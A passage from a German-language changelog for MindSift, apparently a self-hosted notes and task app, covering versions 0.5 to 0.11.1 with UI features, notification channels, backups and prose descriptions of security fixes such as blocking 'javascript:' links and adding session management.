- Themes: Ob ein Theme hell ist (helle Code-Farben, kein Dunkelmodus), richtet sich nach seiner Hintergrundfarbe statt nur nach „Light“.
|
||||||
|
- Kopfzeile am Handy: Such-Knopf und Profilbild sind gleich große Kreise.
|
||||||
|
|
||||||
|
## [0.11.1] - 2026-10-30
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Triage am Handy: unter der Karte zwei große Knöpfe „← Wegwerfen“ und „Aufgabe →“ (wie Wischen), darunter ein Viererblock wie im Gedrückthalten-Menü: Auf Liste, Mit Termin, Als Notiz, Später. Die Warteschlange ist am Handy zugeklappt; „Warteschlange anzeigen“ klappt sie auf und scrollt hin.
|
||||||
|
|
||||||
|
## [0.11.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Fokus-Modus: Ordner und Notizen gleiten von links herein – über den Ordner-Knopf oder einen Klick auf den Titel in der Kopfleiste, auf breiten Bildschirmen auch, wenn die Maus den linken Rand berührt. Eine andere Notiz öffnet sich, ohne den Fokus-Modus zu verlassen; `Esc` schließt zuerst die Leiste.
|
||||||
|
- Fokus-Modus für Notizen: `Strg+Umschalt+F` oder „Fokus-Modus starten“ im Drei-Punkte-Menü. Nur die Notiz in angenehmer Lesebreite über dem ganzen Fenster; die Kopfleiste (Titel, Rückgängig, Teilen, Menü, „Beenden“) gleitet herein, wenn die Maus den oberen Rand berührt. `Esc` beendet ihn; am Handy über einen runden Knopf unten rechts.
|
||||||
|
- **Push-Benachrichtigungen** (Web Push) auf Handy und Desktop, auch wenn MindSift geschlossen ist: unter Kontoeinstellungen → Alarme pro Gerät einschalten und testen; „Push“ ist eine eigene Spalte für jedes Ereignis (auch fällige Aufgaben) und die Tageszusammenfassung. iPhone und iPad ab iOS 16.4, wenn MindSift zum Home-Bildschirm hinzugefügt wurde. Schlüssel per `VAPID_*` oder automatisch erzeugt. API: `/push/key`, `/push/devices`, `/push/subscribe`, `/push/unsubscribe`, `/push/test`.
|
||||||
|
- Links auf einzelne Punkte: „Link zu diesem Punkt kopieren“ in der Aktionsblase eines Punkts oder im Link-Dialog (`/link`) über „Punkt dieser Notiz wählen“. Format `[[Notiz#^id|Notiz › Auszug]]`; ein Klick öffnet die Notiz, springt zum Punkt und hebt ihn hervor. Gibt es den Punkt nicht mehr (verschoben, ausgelagert, gelöscht), öffnet sich die Notiz mit einem Hinweis. Wiki-Links stehen im Text jetzt mit ihrem Anzeigetext und sind direkt anklickbar.
|
||||||
|
- Globaler Desktop-App-Footer mit Versionsnummer, „Über MindSift“, dynamischen Rechtstexten (Impressum, Datenschutz) sowie optional konfigurierbarem Custom-Link (`LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL`).
|
||||||
|
- „Über MindSift“-Dialog und Versionsanzeige im mobilen Profil-Menü (Avatar-Menü oben rechts).
|
||||||
|
- PWA Web Share Target: Text, Links und Bilder können über den nativen Teilen-Dialog des Smartphones direkt in den MindSift-Posteingang geteilt werden (`share_target` im Manifest, Abfangen im Service Worker via IndexedDB und Übernahme beim App-Start; Fallback-Route `POST /share-target` im Server).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Inline-Code mit dezentem hellen Schimmer im dunklen Theme (Textfarbe mit geringer Deckkraft als Hintergrund) statt dunklem Code-Hintergrund, in hellen Themes entsprechend leicht grau.
|
||||||
|
- Installierte App: Statusleiste beim Start und Android-Navigationsleiste schwarz statt blau (die Navigationsleiste kann der Browser nur aus dem Manifest färben, nicht pro Theme); die Statusleiste folgt danach wie bisher dem Theme.
|
||||||
|
- Notizen-Seitenleiste: Die ausgewählte Notiz ist nur noch hinterlegt (ohne Rahmen); das Journal-Panel und die Monats-/Jahresauswahl im Kalender kommen ebenfalls ohne Rahmen aus.
|
||||||
|
- Code-Blöcke ohne Rahmen und Kopfleiste: oben links nur die Sprache, Kopieren als runder Symbol-Knopf unten rechts (erscheint beim Überfahren, am Handy immer). „In normalen Text umwandeln“ steht für Code-Blöcke (und nummerierte Punkte) in der Aktionsblase des Punkts.
|
||||||
|
- Code-, Audio- und Diktat-Blöcke haben unabhängig vom Theme runde Ecken; Callouts bleiben eckig.
|
||||||
|
- Inline-Code ist einfarbig (Text in Haupttextfarbe auf dem Code-Hintergrund des Themes) statt in Akzentfarbe, für bessere Lesbarkeit.
|
||||||
|
- Notizen: Enter in einem leeren eingerückten Punkt rückt ihn nur noch aus, wenn danach kein Punkt mehr auf derselben Ebene folgt; sonst entsteht wie gewohnt ein neuer Punkt darunter (auch nummerierte Listen werden dann nicht beendet).
|
||||||
|
- Workspace-Leiste: Live, Geteilt und Speicherstatus ohne Rahmen im gleichen Stil, ein senkrechter Trennstrich vor den Notiz-Knöpfen. Footer ohne Linie darüber.
|
||||||
|
- Journal: Panel und Kalender öffnen sich mit einer sanften Animation, die Journal-Ansicht blendet ein.
|
||||||
|
- Einfügen und Markdown-Import: Eine Liste direkt nach einem Absatz („Folgende Punkte:“) wird unter diesem Absatz eingerückt.
|
||||||
|
- Workspace am Desktop (ab 1024 px): Die eigene Kopfleiste der Notiz entfällt. Rückgängig, Wiederholen, Teilen und das Drei-Punkte-Menü stehen oben in der Workspace-Leiste, in fester Reihenfolge: Avatare, Live, Geteilt, Speicherstatus (nur noch als Symbol, Text als Tooltip), dann die Knöpfe. Beim Fokus-Modus stehen die Breadcrumbs über dem Titel. Am Handy und Tablet bleibt die Kopfleiste.
|
||||||
|
- Notizen-Seitenleiste: Überschrift „Notizen & Outliner“ entfernt, Suche und die Knöpfe für neuen Ordner und neue Notiz stehen in einer Zeile.
|
||||||
|
- Journal: Geöffnet ist es ein hinterlegtes Panel mit Rahmen, „Journal“ ist dessen Überschrift; ein zweiter Klick schließt es und zeigt wieder die vorherige Notiz. Ob das Journal offen war und welche Notiz offen war, bleibt beim Wechsel zwischen den Tabs erhalten (Journal-Tage öffnen sich nicht mehr als einzelne Notiz).
|
||||||
|
- Notizen: Beim Einfügen und beim Markdown-Import werden Absätze und Listen unter einer Überschrift eingerückt (H2 unter H1 eine Ebene tiefer), so lassen sich Abschnitte einklappen und fokussieren. Enter am Ende einer Überschrift legt den neuen Punkt als Unterpunkt an; `- `, `* ` oder `+ ` in einem leeren Punkt machen ihn zum normalen Aufzählungspunkt.
|
||||||
|
- CI: Tests laufen pro Code-Stand nur einmal. `main` baut ohne erneute Tests, wenn derselbe Stand schon als `dev` getestet wurde; ein Release-Tag auf denselben Commit wie `latest` baut nicht neu, sondern taggt `latest` um. Die Zuordnung steht als Label im Image (keine zusätzlichen Image-Tags in der Registry). Dockerfile: `SKIP_TESTS`, BuildKit-Caches für Go und npm.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Notizen: Formatierung innerhalb von fett, kursiv oder durchgestrichen wird angezeigt, z. B. fetter Inline-Code `**`services`**` (bisher standen Backticks im Text).
|
||||||
|
|
||||||
|
## [0.10.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Nummerierte Listen im Outliner: `/number` (auch `/nummer`, `/liste`) oder `1. ` am Anfang eines leeren Punkts; Enter setzt die Liste fort, Enter in einem leeren Punkt beendet sie. Eingerückte Listen zählen mit Buchstaben (a., b.), die nächste Ebene römisch (i., ii.), danach wieder mit Zahlen. Export und Import als Markdown (`1.`).
|
||||||
|
- **Journal** im Workspace: ganz oben in der Seitenleiste; eine Notiz pro Tag mit festem Datumstitel, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach). Solange das Journal offen ist, zeigt ein Kalender mit Monats- und Jahresauswahl den Tag, bei dem man gerade ist; Tage mit Einträgen haben einen Punkt, ein Klick springt hin (und legt den Tag bei Bedarf an). „Teilen“ gilt dem gerade sichtbaren Tag. Am Handy klappt der Kalender über die Kopfzeile auf. Unter Darstellung pro Gerät abschaltbar. API: `GET /journal`, `POST /journal/{date}`.
|
||||||
|
- Benachrichtigungen: Der eigene Webhook ist jetzt ein vollwertiger Kanal neben E-Mail und Discord – eigene Spalte „Webhook“ für jedes Ereignis und die Tageszusammenfassung; gebündelte Nachrichten kommen als JSON (`event: "digest"` mit Liste der Ereignisse).
|
||||||
|
- Outliner: Neuer Slash-Befehl `/text` (sowie Aliase `/p`, `/paragraph`, `/bullet`, `/standard`), um beliebige Blöcke (Überschriften, Callouts, Aufgaben, Trennlinien) in Standard-Text umzuwandeln; Aufgaben-Optionen und Block-Aktionsblase bieten ebenfalls die Rückumwandlung an.
|
||||||
|
- Triage-Deck: Touch-freundliche Schnellaktions-Leiste unter der aktiven mobilen Karte (Wegwerfen, Liste, Notiz, Aufgabe) mit Daumenbedienung (≥ 44 px).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Schrift: MindSift liefert die Schrift Inter jetzt selbst aus (ohne externen Dienst), damit die Oberfläche auf allen Geräten gleich aussieht. Notiztitel stehen in einer feinen, dünnen Schrift und etwas größer.
|
||||||
|
- Notizen: Der Titel in der Kopfleiste erscheint erst, wenn der große Titel aus dem Bild gescrollt ist; am Handy passt die Kopfleiste in eine Zeile.
|
||||||
|
- Das Bild für `main` (`latest`) zeigt die Versionsnummer ohne `-dev`; nur `dev` und andere Zweige behalten den Zusatz.
|
||||||
|
- Outliner: Schriftgrößen für H1 (`text-xl sm:text-2xl font-bold`), H2 (`text-lg sm:text-xl font-semibold`) und H3 (`text-base font-semibold`) deutlich angehoben bei synchroner Textarea und dezentem oberen Abstand.
|
||||||
|
- Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen, Text-Umwandlung) als schwebende, kontrastreiche Blase (`backdrop-blur-sm`) positioniert, wodurch der Fließtext beim Einblenden nicht mehr ruckartig umbricht.
|
||||||
|
- Outliner: Aktiver Eintrag im Slash-Befehlsmenü dezent als `bg-accent-dim text-accent` hervorgehoben statt vollflächig deckend.
|
||||||
|
- Quick Dump (Instant Capture): Platzhaltertexte gekürzt, vertikales Scrolling im einzeiligen Zustand unterbunden und Absende-Pfeil nach unten ausgerichtet.
|
||||||
|
- Zähler-Badges (`CountBadge`): Akzent-Badge über `--accent-dim` mit Rand, Muted-Badge über `--bg-panel-elevated` und `--text-muted` für hohe Lesbarkeit in allen Themes.
|
||||||
|
- Workspace: Popover-Dialoge (`FormSheet` mit Anker) öffnen zentriert unter dem Mauszeiger mit Rand-Schutz (Viewport-Clamping).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Notizen: Eingefügter Text mit Zeilenumbrüchen, der in einem einzigen Punkt landet (z. B. ein Absatz), verschwand – er wird jetzt übernommen. Leerzeilen trennen eingefügte Absätze in eigene Punkte, nummerierte Markdown-Listen bleiben nummeriert (auch mit 3 oder 4 Leerzeichen Einrückung), umbrochene Zeilen gehören zum Punkt darüber.
|
||||||
|
- Kontoeinstellungen: Der eigene Webhook ließ sich zwar eintragen, aber nicht mehr einschalten (seit dem Umbau der Benachrichtigungen in 0.8.0).
|
||||||
|
- Workspace: kein doppelter Scrollbalken mehr – die Seite selbst scrollt nicht, nur die Notiz; am Handy scrollt die Notiz nicht mehr getrennt von der Seite.
|
||||||
|
- Workspace: Ein abgebrochenes Ziehen in der Seitenleiste lässt „Auf Hauptebene verschieben“ nicht mehr stehen.
|
||||||
|
- Workspace: Der Knopf zum Ein-/Ausklappen der Ordnerleiste ist im eingeklappten Zustand dezent (nur das Symbol in Akzentfarbe).
|
||||||
|
- Outliner: Slash-Befehle werden an der tatsächlichen Cursorposition im Text erkannt (`/link`, `/diktat`); `/divider`, `/image`, `/audio` und `/code` werden nur noch in leeren Blöcken angeboten; das Menü schließt bei Klick ins Leere und Blur.
|
||||||
|
- Outliner: Aufgaben-Badges und Drei-Punkte-Menü aus dem Fließtext-Container entkoppelt, um störende Zeilenumbrüche am Zeilenende zu beheben.
|
||||||
|
- Outliner: Trennlinien (`divider`) können fokussiert und per `Backspace` oder `Entf` direkt in einen leeren Textpunkt umgewandelt werden.
|
||||||
|
- Kontoeinstellungen: Der Bereich „Profil & Anmeldedaten“ nutzt die volle Breite wie die übrigen Bereiche.
|
||||||
|
- Light-Theme: Notizen stehen auf einem weißen Blatt, die Ordnerleiste ist dezent grau abgesetzt (bisher umgekehrt). Themes können das über die neuen Variablen `--bg-editor` und `--bg-sidebar` selbst festlegen.
|
||||||
|
|
||||||
|
## [0.9.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Formatierungs-Kürzel im Outliner: `Strg+B` / `Cmd+B` für fett, `Strg+I` / `Cmd+I` für kursiv (mit Ein-/Ausschalten bei markiertem Text) und `Strg+K` / `Cmd+K` für Links (mit Markierung `[Text](…)` mit vorselektierter Adresse, ohne Markierung Link-Dialog).
|
||||||
|
- Code-Blöcke: Zeilennummernspalte links mit synchronem Scrollen (wächst dynamisch bei 100+ Zeilen, zählt auch leere Endzeilen mit); horizontaler Bildlauf bei langen Zeilen ohne automatischen Zeilenumbruch (`white-space: pre`).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Formatierungs-Kürzel wirken nicht in schreibgeschützten Notizen.
|
||||||
|
- Light-Theme: Kontraste für Code-Blöcke (`--bg-code`), Callouts (`--bg-panel-elevated`), Zitate und Rahmen auf Notizhintergründen geschärft; VS Code Light+ Syntaxfarben für hohe Lesbarkeit optimiert.
|
||||||
|
|
||||||
|
## [0.8.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Benachrichtigungen pro Ereignis und Kanal (Kontoeinstellungen → Alarme): fällige Aufgaben (sofort), Freigabe erhalten, geteilte Aufgabe erledigt, beobachtete Aufgaben – jeweils per eigener E-Mail und/oder eigenem Discord-Webhook. Alles außer fälligen Aufgaben kommt gebündelt (höchstens alle 5 Minuten eine Nachricht, `NOTIFY_DIGEST_MINUTES`), E-Mails jetzt mit HTML-Layout. Eigene Änderungen lösen nichts aus (bei beobachteten Aufgaben zuschaltbar), ein Schalter pausiert alles.
|
||||||
|
- Aufgaben beobachten: Knopf im Aufgaben-Detail; jede Änderung daran wird gemeldet. API: `POST/DELETE /tasks/{id}/watch`.
|
||||||
|
- Tageszusammenfassung zur selbst gewählten Uhrzeit: überfällige, heutige und morgige Aufgaben mit Uhrzeit, dazu die Anzahl der nächsten 7 Tage; ohne fällige Aufgaben keine Nachricht.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Notizkopf aufgeräumt: Live-Status, Freigabe-Pille und Online-Avatare stehen oben in der Tab-Leiste neben „Gespeichert“; im Notizkopf gibt es Knöpfe für Rückgängig (`Strg+Z`) und Wiederholen (`Strg+Y`), „Teilen“ direkt sichtbar und ein Drei-Punkte-Menü für Anheften, Zusammenführen, Markdown-Export und Löschen.
|
||||||
|
- `/diktat` in Notizen: schreibt live mit (mehrzeiliger Text über den Wellen mit Zeitanzeige `mm:ss`), bricht im Browser-Modus bei Sprechpausen nicht mehr ab und schickt im Server-Modus alle ~8 Sekunden bzw. nach kurzen Sprechpausen Abschnitte zur Erkennung vorab.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- In eigene Notiz umwandeln: Der Link erscheint sofort im Punkt (auch hinter Proxys ohne Live-Verbindung), ohne Konfliktkopien bei gleichzeitigem Weitertippen; die neue Notiz steht sofort in der Seitenleiste. Strg+Z oder „Rückgängig“ im Hinweis holen den Ast zurück und legen die neue Notiz in den Papierkorb.
|
||||||
|
- Notizen: Link-Vorschau-Karten erscheinen nur noch, wenn der gesamte Punkt aus einer einzigen `https`-Adresse besteht (oder über `/link` in einem leeren Punkt eingefügt wurde), nicht mehr bei Links mitten im Fließtext.
|
||||||
|
- Notizen: Das Slash-Menü (`/`) öffnet sich nur noch am Textanfang oder nach einem Leerzeichen (nicht mehr beim Einfügen von Web-Adressen mit Schrägstrichen), schließt zuverlässig mit `Esc` oder `Backspace` und scrollt bei Pfeiltasten-Navigation automatisch mit.
|
||||||
|
- Notizen: `Enter` in einem leeren Punkt auf oberster Ebene legt auch am Ende der Notiz einen neuen Punkt darunter an.
|
||||||
|
- Benachrichtigungen: Die Tageszusammenfassung schließt nun auch Aufgaben aus Aufgabenlisten ein, die über eine Gruppe freigegeben wurden.
|
||||||
|
|
||||||
|
## [0.7.0] - 2026-10-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Punkt in eigene Notiz umwandeln: Knopf am Punkt (Desktop) oder `/extract` bzw. `/notiz`. Der Punkt wird Titel, seine Unterpunkte der Inhalt der neuen Notiz im selben Ordner; an seiner Stelle bleibt ein `[[Link]]` (Hashtags bleiben dort). In geteilten Notizen übernimmt die neue Notiz die Freigaben.
|
||||||
|
- Notizen zusammenführen: in der Seitenleiste eine Notiz auf eine andere ziehen oder im Kopf der Notiz „Mit anderer Notiz zusammenführen…“. Die Quelle wird als Abschnitt (Überschrift mit Unterpunkten) angehängt und wandert in den Papierkorb; „Rückgängig“ im Hinweis macht beides rückgängig.
|
||||||
|
- Eigene Spracherkennung (optional): Mit `STT_URL` schickt MindSift Aufnahmen an einen selbst betriebenen Whisper-Server (OpenAI-kompatibel, z. B. speaches) statt an Google oder Microsoft. Einstellung nur per Umgebungsvariablen (`STT_*`) inklusive Grenzwerten; `docker-compose.yml` enthält den Dienst `whisper` als auskommentierten Block zum Einschalten, das Modell lädt MindSift beim ersten Start selbst. Administration → Server & Isolation zeigt den aktiven Modus und bietet eine Testaufnahme. In der Demo bleibt es bei der Browser-Erkennung.
|
||||||
|
- API: `POST /voice/transcribe`, `GET /admin/voice`; `/auth/status` meldet `voice.mode`.
|
||||||
|
- Bilder in Notizen: `/image` (auch `/bild`) in einem leeren Punkt öffnet direkt im Punkt eine Auswahl – Datei, Kamera (Handy), Hineinziehen, Einfügen mit Strg+V oder Bild-Link (der Server übernimmt eine Kopie). Fotos werden vor dem Hochladen auf höchstens 2048 px verkleinert und als WebP gespeichert, Standortdaten entfallen dabei. Klick vergrößert, darunter eine optionale Beschriftung. Esc oder ✕ macht den Punkt wieder zum leeren Punkt.
|
||||||
|
- Sprachnotizen in Notizen: `/audio` in einem leeren Punkt zeigt eine Aufnahme-Blase – grüner Knopf startet, er wird rot und links laufen Live-Wellen mit der Zeit, ein Tipp speichert die Aufnahme als Audio-Player im Punkt. Alternativ eine Audiodatei hochladen. Mit eigener Spracherkennung macht „Transkribieren“ aus der Aufnahme die (durchsuchbare) Beschriftung.
|
||||||
|
- Diktat in Notizen: `/diktat` in einem leeren Punkt hört sofort zu; der Punkt wird zu einer Fläche mit Live-Wellen und „Stopp“, ein Tipp setzt den erkannten Text in den Punkt. Nutzt die eingestellte Spracherkennung (eigener Server oder Browser) und wird ohne Spracherkennung nicht angeboten.
|
||||||
|
- Backup und Export mit Medien: Das Backup-ZIP (auch die automatischen Server-Backups pro Konto) enthält die Bilder und Sprachnotizen der eigenen Notizen, das Markdown-Archiv legt sie unter `attachments/` ab und bettet sie Obsidian-kompatibel ein. Beim Zurückspielen kommen sie wieder als Bild- und Audioblöcke. Der Obsidian-Import übernimmt jetzt auch eingebettete Bilder und Audiodateien (`![[bild.png]]`, ``).
|
||||||
|
- Link-Vorschau in Notizen: Über einem Punkt mit einer Web-Adresse (https) erscheint eine kompakte Karte mit Icon, Seitenname, Titel, einer Zeile Beschreibung und kleinem Bild. Der MindSift-Server ruft die Seite ab (wie bei Bildern nur öffentliche https-Adressen) und speichert die Vorschau 7 Tage; Browser der Leser kontaktieren die Seite nicht. ✕ blendet die Vorschau für diesen Link aus (er wird zu `[Titel](Adresse)`), Darstellung → „Link-Vorschauen anzeigen“ schaltet alle ab. In der Demo aus. API: `GET /link-preview?url=`.
|
||||||
|
- Medienablage für Notizen (Grundlage für Bilder und Audio): Hochladen, Kopieren externer Bilder, Abruf nur mit Leserecht; Grenzen per `MEDIA_*`; nicht mehr verwendete Dateien werden automatisch entfernt. API: `POST /documents/{id}/media`, `POST /documents/{id}/media/fetch`, `GET /media/{id}`.
|
||||||
|
- Code-Blöcke in Notizen: Sprachauswahl (rund 50 Sprachen, bei Bedarf nachgeladen), Farben beim Tippen im Stil von VS Code Dark+/Light+ für alle Themes, „Kopieren“, Tab/Shift+Tab rückt ein und aus. `/code yaml` oder ```` ```yaml ```` legt die Sprache direkt fest.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- **Hinweis für den Betrieb:** Bilder und Sprachnotizen liegen in `data/media/`, nicht in der Datenbank. Wer den Server sichert, sichert den ganzen Ordner `data/` (der Datenbank-Abzug der Admin-Backups enthält keine Mediendateien). Optional neu in `docker-compose.yml`: der auskommentierte Dienst `whisper`.
|
||||||
|
- Notizen auf dem Handy: fast kein Seitenrand mehr, Einrückung 14 statt 22 px pro Ebene, Zoom- und Löschknopf belegen nur noch in der aktiven Zeile Platz. Sehr tief verschachtelte Punkte behalten eine lesbare Breite, die Notiz lässt sich dann seitlich verschieben statt den Text zu quetschen.
|
||||||
|
- E-Mails zeigen einen Absendernamen: `SMTP_FROM_NAME` bzw. das neue Feld „Absender-Name“ in Administration → E-Mail (Standard „MindSift“), wenn die Absenderadresse keinen eigenen Namen enthält.
|
||||||
|
- Slash-Befehle einheitlich englisch: `/image` statt `/bild` (`/bild` findet ihn weiterhin), kürzere Beschreibungen, breiteres Menü ohne Umbrüche.
|
||||||
|
- `docker-compose.yml` enthält nur noch die Zuordnungen; alle Erklärungen zu den Variablen stehen in `.env.example`. Neu durchgereicht werden `TZ`, `TRUSTED_PROXIES`, `LOGIN_PROTECTION`, `DEMO_RESET_MINUTES` und `LEGAL_*_CONTENT`, die vorher in `.env` gesetzt wirkungslos blieben.
|
||||||
|
- Workspace-Seitenleiste wie ein Datei-Explorer: angeheftete Notizen oben, darunter Ordner und Notizen ohne Zwischenüberschriften.
|
||||||
|
- Spracheingabe in Quick Dump, im mobilen Erfassen-Sheet und beim Halten des +-Knopfs folgt der Server-Einstellung: mit eigenem Whisper-Server funktioniert sie in allen Browsern (auch Firefox), mit Live-Wellen während der Aufnahme und „Wird erkannt…“ danach. Ohne Unterstützung im Browser oder mit `STT_DISABLED=true` ist das Mikrofon ausgeblendet statt einer Fehlermeldung.
|
||||||
|
|
||||||
|
## [0.6.1] - 2026-10-29
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Notizen: Wer im Rhythmus tippte (kurze Pausen zwischen den Wörtern), bekam Konfliktkopien gegen sich selbst, auch in nicht geteilten Notizen. Mehrere ungesendete Änderungen an einem Punkt zählten lokal als mehrere Versionen, beim Server aber als eine.
|
||||||
|
|
||||||
|
## [0.6.0] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
|
||||||
|
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
|
||||||
|
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
|
||||||
|
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
|
||||||
|
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
|
||||||
|
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
|
||||||
|
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
||||||
|
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
|
||||||
|
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
|
||||||
|
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
|
||||||
|
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
|
||||||
|
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
|
||||||
|
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
|
||||||
|
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
|
||||||
|
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
|
||||||
|
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
|
||||||
|
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
|
||||||
|
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
|
||||||
|
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
|
||||||
|
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
|
||||||
|
|
||||||
|
## [0.5.2] - 2026-10-29
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Einkaufsliste auf dem Smartphone (iOS): Der `+`-Knopf und der Menüeintrag setzen den Fokus für neue Einträge direkt in der Tipp-Geste statt verzögert nach 60 ms, sodass sich die Bildschirmtastatur auf iOS zuverlässig öffnet; Eingabefelder nutzen mobil 16 px Schriftgröße gegen automatisches Heranzoomen.
|
||||||
|
|
||||||
|
## [0.5.1] - 2026-10-29
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Mobiler `+`-Knopf in Triage und Aufgaben: Ein kurzes Antippen öffnet das Erfassen-Sheet wieder über das `click`-Event statt bei `pointerup`, damit der direkt folgende Browser-Klick nicht auf dem Hintergrund-Overlay landet und das Sheet sofort wieder schließt (nach langem Halten für die Sprachaufnahme wird der nachfolgende Klick ignoriert).
|
||||||
|
|
||||||
|
## [0.5] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Automatische tägliche Server- und Benutzer-Backups (`$DATA_DIR/backups`): konsistenter SQLite-Gesamtabzug (`VACUUM INTO`, `.db.gz`) sowie ein MindSift-Backup-ZIP pro aktivem Konto; einstellbare Uhrzeit und Aufbewahrungsdauer (Standard 03:00 Uhr, 3 Tage) unter Administration → Datensicherung inkl. „Jetzt sichern“.
|
||||||
|
- Kontoeinstellungen → Server-Backups: Eigene Sicherungen herunterladen oder gezielt nach Bereichen (`notes`, `tasks`, `lists`, `inbox`, `themes`) wiederherstellen (ersetzen oder hinzufügen); auch der manuelle MindSift-Import unterstützt die Bereichsauswahl und nimmt eigene Themes mit.
|
||||||
|
- Mobil: Gedrückthalten des `+`-Knopfs startet eine Sprachaufnahme und legt das Transkript beim Loslassen direkt im Quick Dump ab (nach oben ziehen bricht ab); kurzes Tippen bzw. Tastatur/Screenreader öffnen weiterhin das Erfassen-Sheet.
|
||||||
|
- API-Key-Scopes (`webhook:triage`, `webhook:task`, `webhook:list`): Auswahl beim Anlegen, Anzeige als Badges und Webhook-Simulator für alle drei Ziele in den Kontoeinstellungen (FLAW-07).
|
||||||
|
- Demo-Modus: Automatischer Reset alle 20 Minuten (`DEMO_RESET_MINUTES`, `0` = aus) mit Live-Countdown (`✨ Demo · Reset in MM:SS`) in der Kopfzeile; Sitzungen bleiben über feste Demo-Konto-IDs erhalten. Tief verschachtelte Beispielnotiz „Hausrenovierung 2027“ (7 Ebenen) zum Ausprobieren des Zoom-Fokus.
|
||||||
|
- Zähler für offene Listeneinträge am Reiter „Listen“; die Suche in der Notiz-Seitenleiste öffnet die globale Volltextsuche (`⌘K`).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- **Achtung:** WebSocket (`/ws`) und SSE (`/events`) akzeptieren kein `?token=` mehr in der URL, sondern kurzlebige Einmal-Tickets (`POST /auth/stream-ticket`, 60 s gültig) oder den `Authorization`-Header (FLAW-22).
|
||||||
|
- **Achtung:** Neue Passwörter müssen mindestens 8 Zeichen lang sein (Setup, Registrierung, Profil, Admin, Passwort-Reset) (FLAW-09).
|
||||||
|
- Nummerierte Datenbank-Migrationen über `schema_migrations`, die genau einmal laufen und bei Fehlern den Start abbrechen statt Fehler zu verschlucken (FLAW-13).
|
||||||
|
